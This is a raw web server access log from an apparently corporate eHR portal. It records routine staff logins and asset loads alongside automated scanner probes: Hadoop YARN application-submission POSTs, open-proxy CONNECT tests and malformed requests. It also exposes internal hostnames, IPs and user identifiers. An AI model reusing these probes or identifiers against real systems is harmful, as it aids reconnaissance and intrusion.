/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:19:57:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 100.64.0.1 - - [04/Dec/2025:20:16:19 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [04/Dec/2025:20:16:19 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [04/Dec/2025:20:29:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:20:29:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 100.64.0.1 - - [04/Dec/2025:20:43:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:20:43:51 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:20:53:51 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:20:53:51 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:21:03:55 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:21:03:55 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:21:23:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [04/Dec/2025:21:23:34 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:21:23:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [04/Dec/2025:21:23:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:21:39:09 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [04/Dec/2025:21:39:09 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [04/Dec/2025:22:06:32 +0800] "MGLNDD_222.92.19.198_8088" 501 227 100.64.0.1 - - [04/Dec/2025:22:06:32 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 100.64.0.1 - - [04/Dec/2025:22:21:00 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:22:21:00 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [04/Dec/2025:22:21:00 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1174392&companyid=3913&userseqno=47859 HTTP/1.1" 200 5912 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [04/Dec/2025:22:21:00 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1174392&companyid=3913&userseqno=47859 HTTP/1.1" 200 5912 100.64.0.1 - - [04/Dec/2025:22:28:06 +0800] "\x03" 501 203 100.64.0.1 - - [04/Dec/2025:22:28:06 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [04/Dec/2025:22:54:39 +0800] "CONNECT httpbin.org:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:22:54:39 +0800] "CONNECT httpbin.org:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:01:03 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [04/Dec/2025:23:01:03 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:23:07:38 +0800] "CONNECT httpbin.org:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:23:07:38 +0800] "CONNECT httpbin.org:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:14:27 +0800] "HEAD http://110.242.68.4/ HTTP/1.1" 200 - "-" "Mozilla/5.01694878 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2) Gecko/20100115 Firefox/3.6 GTBDFff GTB7.0" 100.64.0.1 - - [04/Dec/2025:23:14:27 +0800] "HEAD http://110.242.68.4/ HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:23:14:27 +0800] "GET http://www.minghui.org/ HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:27 +0800] "GET http://www.minghui.org/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:23:14:28 +0800] "CONNECT cn.bing.com:443 HTTP/1.1" 405 225 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 100.64.0.1 - - [04/Dec/2025:23:14:28 +0800] "CONNECT cn.bing.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:14:28 +0800] "CONNECT www.so.com:443 HTTP/1.1" 405 225 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 100.64.0.1 - - [04/Dec/2025:23:14:28 +0800] "CONNECT www.so.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://www.epochtimes.com/ HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://www.epochtimes.com/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://dongtaiwang.com/ HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://dongtaiwang.com/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://www.rfa.org/english/ HTTP/1.1" 404 206 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:30 +0800] "GET http://www.rfa.org/english/ HTTP/1.1" 404 206 100.64.0.1 - - [04/Dec/2025:23:14:31 +0800] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:31 +0800] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "CONNECT www.voanews.com:443 HTTP/1.1" 405 225 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "CONNECT www.voanews.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "GET http://www.soso.com/ HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "GET http://www.soso.com/ HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 405 225 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" 100.64.0.1 - - [04/Dec/2025:23:14:32 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [04/Dec/2025:23:33:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [04/Dec/2025:23:33:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:53 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [04/Dec/2025:23:33:53 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:53 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:33:50 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [04/Dec/2025:23:34:29 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:34:29 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:34:28 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [04/Dec/2025:23:34:36 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:34:36 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:35:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:36 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 100.64.0.1 - - [04/Dec/2025:23:35:37 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 